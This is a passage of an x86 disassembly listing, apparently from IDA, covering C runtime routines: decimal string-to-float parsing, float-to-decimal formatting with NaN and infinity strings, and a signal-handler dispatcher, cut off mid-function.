mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42544F
push edi
mov [ebp+arg_8], eax
loc_425402: ; CODE XREF: sub_4253DB+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_425380
push ebx
call sub_425380
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
push ebx
call sub_425380
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425402
xor edx, edx
pop edi
loc_42544F: ; CODE XREF: sub_4253DB+21j
; sub_4253DB+9Fj
cmp [ebx+8], edx
jnz short loc_42547C
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42544F
; ---------------------------------------------------------------------------
loc_42547C: ; CODE XREF: sub_4253DB+77j
mov esi, 8000h
loc_425481: ; CODE XREF: sub_4253DB+B9j
test [ebx+8], esi
jnz short loc_425496
push ebx
call sub_425380
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_425481
; ---------------------------------------------------------------------------
loc_425496: ; CODE XREF: sub_4253DB+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_4253DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4254A2 proc near ; CODE XREF: sub_424D28+17p
; sub_424D55+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_4254DD: ; CODE XREF: sub_4254A2+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_4254F3
cmp cl, 9
jz short loc_4254F3
cmp cl, 0Ah
jz short loc_4254F3
cmp cl, 0Dh
jnz short loc_4254F6
loc_4254F3: ; CODE XREF: sub_4254A2+40j
; sub_4254A2+45j ...
inc edi
jmp short loc_4254DD
; ---------------------------------------------------------------------------
loc_4254F6: ; CODE XREF: sub_4254A2+4Fj
push 4
pop esi
loc_4254F9: ; CODE XREF: sub_4254A2+AEj
; sub_4254A2+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_42577C ; default
; jumptable 00425505 case 10
jmp off_425943[eax*4] ; switch jump
loc_42550C: ; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 0
jl short loc_42551D
cmp bl, 39h
jg short loc_42551D
loc_425516: ; CODE XREF: sub_4254A2+C4j
; sub_4254A2+118j
push 3
jmp loc_42573A
; ---------------------------------------------------------------------------
loc_42551D: ; CODE XREF: sub_4254A2+6Dj
; sub_4254A2+72j
cmp bl, byte_43D088
jnz short loc_42552C
loc_425525: ; CODE XREF: sub_4254A2+124j
push 5
jmp loc_425772
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4254A2+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_425552
dec eax
dec eax
jz short loc_425546
sub eax, 3
jnz loc_425815
jmp loc_4255D5
; ---------------------------------------------------------------------------
loc_425546: ; CODE XREF: sub_4254A2+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_425552: ; CODE XREF: sub_4254A2+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_42555B: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 1
mov [ebp+var_10], edx
jl short loc_425568
cmp bl, 39h
jle short loc_425516
loc_425568: ; CODE XREF: sub_4254A2+BFj
cmp bl, byte_43D088
jz loc_425630
cmp bl, 2Bh
jz short loc_4255AA
cmp bl, 2Dh
jz short loc_4255AA
cmp bl, 30h
jz short loc_4255D5
loc_425583: ; CODE XREF: sub_4254A2+207j
cmp bl, 43h
jle loc_425815
cmp bl, 45h
jle short loc_4255A3
cmp bl, 63h
jle loc_425815
cmp bl, 65h
jg loc_425815
loc_4255A3: ; CODE XREF: sub_4254A2+EDj
push 6
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255AA: ; CODE XREF: sub_4254A2+D5j
; sub_4254A2+DAj ...
dec edi
push 0Bh
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255B2: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 2
jl short loc_4255C0
cmp bl, 39h
jle loc_425516
loc_4255C0: ; CODE XREF: sub_4254A2+113j
cmp bl, byte_43D088
jz loc_425525
cmp bl, 30h
jnz loc_42578A
loc_4255D5: ; CODE XREF: sub_4254A2+9Fj
; sub_4254A2+DFj
mov eax, edx
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_4255DC: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
mov [ebp+var_10], edx ; jumptable 00425505 case 3
loc_4255DF: ; CODE XREF: sub_4254A2+184j
cmp dword_43D084, edx
jle short loc_4255F8
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425606
; ---------------------------------------------------------------------------
loc_4255F8: ; CODE XREF: sub_4254A2+143j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425606: ; CODE XREF: sub_4254A2+154j
test eax, eax
jz short loc_425628
cmp [ebp+var_4], 19h
jnb short loc_425620
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425623
; ---------------------------------------------------------------------------
loc_425620: ; CODE XREF: sub_4254A2+16Cj
inc [ebp+var_8]
loc_425623: ; CODE XREF: sub_4254A2+17Cj
mov bl, [edi]
inc edi
jmp short loc_4255DF
; ---------------------------------------------------------------------------
loc_425628: ; CODE XREF: sub_4254A2+166j
cmp bl, byte_43D088
jnz short loc_425697
loc_425630: ; CODE XREF: sub_4254A2+CCj
mov eax, esi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425637: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp [ebp+var_4], 0 ; jumptable 00425505 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_425650
loc_425643: ; CODE XREF: sub_4254A2+1ACj
cmp bl, 30h
jnz short loc_425650
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425643
; ---------------------------------------------------------------------------
loc_425650: ; CODE XREF: sub_4254A2+19Fj
; sub_4254A2+1A4j ...
cmp dword_43D084, edx
jle short loc_425669
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425669: ; CODE XREF: sub_4254A2+1B4j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425677: ; CODE XREF: sub_4254A2+1C5j
test eax, eax
jz short loc_425697
cmp [ebp+var_4], 19h
jnb short loc_425692
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_425692: ; CODE XREF: sub_4254A2+1DDj
mov bl, [edi]
inc edi
jmp short loc_425650
; ---------------------------------------------------------------------------
loc_425697: ; CODE XREF: sub_4254A2+18Cj
; sub_4254A2+1D7j
cmp bl, 2Bh
jz loc_4255AA
cmp bl, 2Dh
jz loc_4255AA
jmp loc_425583
; ---------------------------------------------------------------------------
loc_4256AE: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp dword_43D084, edx ; jumptable 00425505 case 5
mov [ebp+var_24], edx
jle short loc_4256CA
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4256D8
; ---------------------------------------------------------------------------
loc_4256CA: ; CODE XREF: sub_4254A2+215j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4256D8: ; CODE XREF: sub_4254A2+226j
test eax, eax
jz loc_42578A
mov eax, esi
jmp short loc_42573B
; ---------------------------------------------------------------------------
loc_4256E4: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
lea ecx, [edi-2] ; jumptable 00425505 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_4256F4
cmp bl, 39h
jle short loc_425738
loc_4256F4: ; CODE XREF: sub_4254A2+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_425770
dec eax
dec eax
jz short loc_425764
sub eax, 3
jnz loc_425818
loc_425709: ; CODE XREF: sub_4254A2+2A4j
push 8
jmp short loc_425772
; ---------------------------------------------------------------------------
loc_42570D: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
mov [ebp+var_20], edx ; jumptable 00425505 case 8
loc_425710: ; CODE XREF: sub_4254A2+276j
cmp bl, 30h
jnz short loc_42571A
mov bl, [edi]
inc edi
jmp short loc_425710
; ---------------------------------------------------------------------------
loc_42571A: ; CODE XREF: sub_4254A2+271j
cmp bl, 31h
jl loc_425815
cmp bl, 39h
jg loc_425815
jmp short loc_425738
; ---------------------------------------------------------------------------
loc_42572E: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 7
jl short loc_425741
cmp bl, 39h
jg short loc_425741
loc_425738: ; CODE XREF: sub_4254A2+250j
; sub_4254A2+28Aj
push 9
loc_42573A: ; CODE XREF: sub_4254A2+76j
pop eax
loc_42573B: ; CODE XREF: sub_4254A2+240j
dec edi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425741: ; CODE XREF: sub_4254A2+28Fj
; sub_4254A2+294j
cmp bl, 30h
jnz short loc_42578A
jmp short loc_425709
; ---------------------------------------------------------------------------
loc_425748: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11
jz short loc_425778
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_425770
dec eax
dec eax
jnz loc_425818
loc_425764: ; CODE XREF: sub_4254A2+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425770: ; CODE XREF: sub_4254A2+258j
; sub_4254A2+2B8j
push 7
loc_425772: ; CODE XREF: sub_4254A2+85j
; sub_4254A2+103j ...
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425778: ; CODE XREF: sub_4254A2+2AAj
push 0Ah
dec edi
pop eax
loc_42577C: ; CODE XREF: sub_4254A2+5Dj
; sub_4254A2+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425505 case 10
jz loc_42581A
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_42578A: ; CODE XREF: sub_4254A2+12Dj
; sub_4254A2+238j ...
mov edi, [ebp+arg_8]
jmp loc_42581A
; ---------------------------------------------------------------------------
loc_425792: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
mov [ebp+var_20], 1 ; jumptable 00425505 case 9
xor esi, esi
loc_42579B: ; CODE XREF: sub_4254A2+339j
cmp dword_43D084, 1
jle short loc_4257B3
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4257C2
; ---------------------------------------------------------------------------
loc_4257B3: ; CODE XREF: sub_4254A2+300j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4257C2: ; CODE XREF: sub_4254A2+30Fj
test eax, eax
jz short loc_4257E2
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_4257DD
mov bl, [edi]
inc edi
jmp short loc_42579B
; ---------------------------------------------------------------------------
loc_4257DD: ; CODE XREF: sub_4254A2+334j
mov esi, 1451h
loc_4257E2: ; CODE XREF: sub_4254A2+322j
mov [ebp+var_1C], esi
loc_4257E5: ; CODE XREF: sub_4254A2+371j
cmp dword_43D084, 1
jle short loc_4257FD
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42580C
; ---------------------------------------------------------------------------
loc_4257FD: ; CODE XREF: sub_4254A2+34Aj
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42580C: ; CODE XREF: sub_4254A2+359j
test eax, eax
jz short loc_425815
mov bl, [edi]
inc edi
jmp short loc_4257E5
; ---------------------------------------------------------------------------
loc_425815: ; CODE XREF: sub_4254A2+99j
; sub_4254A2+E4j ...
dec edi
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_425818: ; CODE XREF: sub_4254A2+261j
; sub_4254A2+2BCj
mov edi, ecx
loc_42581A: ; CODE XREF: sub_4254A2+2DDj
; sub_4254A2+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425902
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425846
cmp [ebp+var_45], 5
jl short loc_42583A
inc [ebp+var_45]
loc_42583A: ; CODE XREF: sub_4254A2+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425849
; ---------------------------------------------------------------------------
loc_425846: ; CODE XREF: sub_4254A2+38Dj
mov eax, [ebp+var_C]
loc_425849: ; CODE XREF: sub_4254A2+3A2j
cmp [ebp+var_4], 0
jbe loc_4258F8
loc_425853: ; CODE XREF: sub_4254A2+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_425861
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_425853
; ---------------------------------------------------------------------------
loc_425861: ; CODE XREF: sub_4254A2+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_4253DB
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_425880
neg eax
loc_425880: ; CODE XREF: sub_4254A2+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_42588B
add eax, [ebp+arg_10]
loc_42588B: ; CODE XREF: sub_4254A2+3E4j
cmp [ebp+var_24], ecx
jnz short loc_425893
sub eax, [ebp+arg_14]
loc_425893: ; CODE XREF: sub_4254A2+3ECj
cmp eax, 1450h
jle short loc_4258CA
mov [ebp+var_2C], 1
loc_4258A1: ; CODE XREF: sub_4254A2+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4258AD: ; CODE XREF: sub_4254A2+454j
; sub_4254A2+45Ej
cmp [ebp+var_2C], 0
jz short loc_425913
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_4258CA: ; CODE XREF: sub_4254A2+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_4258DA
mov [ebp+var_30], 1
jmp short loc_4258A1
; ---------------------------------------------------------------------------
loc_4258DA: ; CODE XREF: sub_4254A2+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_42600E
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_4258F8: ; CODE XREF: sub_4254A2+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_425902: ; CODE XREF: sub_4254A2+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_425913: ; CODE XREF: sub_4254A2+40Fj
cmp [ebp+var_30], 0
jz short loc_425928
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425928: ; CODE XREF: sub_4254A2+426j
; sub_4254A2+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4254A2 endp
; ---------------------------------------------------------------------------
off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r
dd offset loc_42555B ; jump table for switch statement
dd offset loc_4255B2
dd offset loc_4255DC
dd offset loc_425637
dd offset loc_4256AE
dd offset loc_4256E4
dd offset loc_42572E
dd offset loc_42570D
dd offset loc_425792
dd offset loc_42577C
dd offset loc_425748
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_4259D5
mov byte ptr [ebx+2], 2Dh
jmp short loc_4259D9
; ---------------------------------------------------------------------------
loc_4259D5: ; CODE XREF: sub_425973+5Aj
mov byte ptr [ebx+2], 20h
loc_4259D9: ; CODE XREF: sub_425973+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_4259FF
test edi, edi
jnz short loc_4259FF
cmp [ebp+arg_0], edi
jnz short loc_4259FF
loc_4259EA: ; CODE XREF: sub_425973+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_425BFD
; ---------------------------------------------------------------------------
loc_4259FF: ; CODE XREF: sub_425973+6Cj
; sub_425973+70j ...
cmp dx, si
jnz short loc_425A7E
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425A18
cmp [ebp+arg_0], 0
jz short loc_425A27
loc_425A18: ; CODE XREF: sub_425973+9Dj
test edi, 40000000h
jnz short loc_425A27
push offset a1Snan ; "1#SNAN"
jmp short loc_425A6D
; ---------------------------------------------------------------------------
loc_425A27: ; CODE XREF: sub_425973+A3j
; sub_425973+ABj
test cx, cx
jz short loc_425A41
cmp edi, 0C0000000h
jnz short loc_425A41
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Ind ; "1#IND"
jmp short loc_425A50
; ---------------------------------------------------------------------------
loc_425A41: ; CODE XREF: sub_425973+B7j
; sub_425973+BFj
cmp edi, eax
jnz short loc_425A68
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Inf ; "1#INF"
loc_425A50: ; CODE XREF: sub_425973+CCj
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_425A5F: ; CODE XREF: sub_425973+109j
and [ebp+var_4], 0
jmp loc_425BD6
; ---------------------------------------------------------------------------
loc_425A68: ; CODE XREF: sub_425973+C5j
; sub_425973+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_425A6D: ; CODE XREF: sub_425973+B2j
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_425A5F
; ---------------------------------------------------------------------------
loc_425A7E: ; CODE XREF: sub_425973+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_42600E
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_425ADF
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DEE
pop ecx
pop ecx
loc_425ADF: ; CODE XREF: sub_425973+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425AF9
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_425AFC
jmp loc_4259EA
; ---------------------------------------------------------------------------
loc_425AF9: ; CODE XREF: sub_425973+173j
mov edi, [ebp+arg_C]
loc_425AFC: ; CODE XREF: sub_425973+17Fj
cmp edi, 15h
jle short loc_425B04
push 15h
pop edi
loc_425B04: ; CODE XREF: sub_425973+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425B1A: ; CODE XREF: sub_425973+1B4j
lea eax, [ebp+var_10]
push eax
call sub_425380
dec [ebp+arg_14]
pop ecx
jnz short loc_425B1A
test esi, esi
jge short loc_425B44
neg esi
and esi, 0FFh
jle short loc_425B44
loc_425B37: ; CODE XREF: sub_425973+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4253AE
dec esi
pop ecx
jnz short loc_425B37
loc_425B44: ; CODE XREF: sub_425973+1B8j
; sub_425973+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_425BA1
mov [ebp+arg_C], ecx
loc_425B54: ; CODE XREF: sub_425973+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_425380
lea eax, [ebp+var_10]
push eax
call sub_425380
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425322
lea eax, [ebp+var_10]
push eax
call sub_425380
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_425B54
mov eax, [ebp+arg_14]
loc_425BA1: ; CODE XREF: sub_425973+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_425BDE
loc_425BAE: ; CODE XREF: sub_425973+248j
cmp eax, ecx
jb short loc_425BC1
cmp byte ptr [eax], 39h
jnz short loc_425BBD
mov byte ptr [eax], 30h
dec eax
jmp short loc_425BAE
; ---------------------------------------------------------------------------
loc_425BBD: ; CODE XREF: sub_425973+242j
cmp eax, ecx
jnb short loc_425BC5
loc_425BC1: ; CODE XREF: sub_425973+23Dj
inc eax
inc word ptr [ebx]
loc_425BC5: ; CODE XREF: sub_425973+24Cj
inc byte ptr [eax]
loc_425BC7: ; CODE XREF: sub_425973+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425BD6: ; CODE XREF: sub_425973+F0j
mov eax, [ebp+var_4]
loc_425BD9: ; CODE XREF: sub_425973+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425BDE: ; CODE XREF: sub_425973+239j
; sub_425973+275j
cmp eax, ecx
jb short loc_425BEE
cmp byte ptr [eax], 30h
jnz short loc_425BEA
dec eax
jmp short loc_425BDE
; ---------------------------------------------------------------------------
loc_425BEA: ; CODE XREF: sub_425973+272j
cmp eax, ecx
jnb short loc_425BC7
loc_425BEE: ; CODE XREF: sub_425973+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_425BFD: ; CODE XREF: sub_425973+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425BD9
sub_425973 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_425C6D
dec eax
dec eax
jz short loc_425C5E
sub eax, 4
jz short loc_425C5E
sub eax, 3
jz short loc_425C5E
sub eax, 4
jz short loc_425C51
sub eax, 6
jz short loc_425C44
dec eax
jz short loc_425C37
or eax, 0FFFFFFFFh
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C37: ; CODE XREF: sub_425C06+27j
mov esi, dword_4DC004
mov eax, offset dword_4DC004
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C44: ; CODE XREF: sub_425C06+24j
mov esi, dword_4DC000
mov eax, offset dword_4DC000
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C51: ; CODE XREF: sub_425C06+1Fj
mov esi, dword_4DC008
mov eax, offset dword_4DC008
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C5E: ; CODE XREF: sub_425C06+10j
; sub_425C06+15j ...
push edi
call sub_425D33
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C6D: ; CODE XREF: sub_425C06+Cj
mov esi, dword_4DBFFC
mov eax, offset dword_4DBFFC
loc_425C78: ; CODE XREF: sub_425C06+3Cj
; sub_425C06+49j ...
cmp esi, 1
jnz short loc_425C84
xor eax, eax
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C84: ; CODE XREF: sub_425C06+75j
test esi, esi
jnz short loc_425C8F
push 3
call sub_41C1A2
loc_425C8F: ; CODE XREF: sub_425C06+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_425CA1
cmp edi, 0Bh
jz short loc_425CA1
cmp edi, 4
jnz short loc_425CC7
loc_425CA1: ; CODE XREF: sub_425C06+8Fj
; sub_425C06+94j
mov ebx, dword_4DBE9C
and dword_4DBE9C, 0
cmp edi, ecx
jnz short loc_425CF6
mov edx, dword_43D4CC
mov dword_43D4CC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425CCA
; ---------------------------------------------------------------------------
loc_425CC7: ; CODE XREF: sub_425C06+99j
mov ebx, [ebp+arg_0]
loc_425CCA: ; CODE XREF: sub_425C06+BFj
cmp edi, ecx
jnz short loc_425CF6
mov eax, dword_43D4C0
mov ecx, dword_43D4C4
add ecx, eax
cmp eax, ecx
jge short loc_425CFD
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43D450h[edx*4]
loc_425CEB: ; CODE XREF: sub_425C06+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425CEB
jmp short loc_425CFD
; ---------------------------------------------------------------------------
loc_425CF6: ; CODE XREF: sub_425C06+AAj
; sub_425C06+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425D0B
loc_425CFD: ; CODE XREF: sub_425C06+D7j
; sub_425C06+EEj
push dword_43D4CC
push 8
call esi
pop ecx
pop ecx
jmp short loc_425D19
; ---------------------------------------------------------------------------
loc_425D0B: ; CODE XREF: sub_425C06+F5j
push edi
call esi
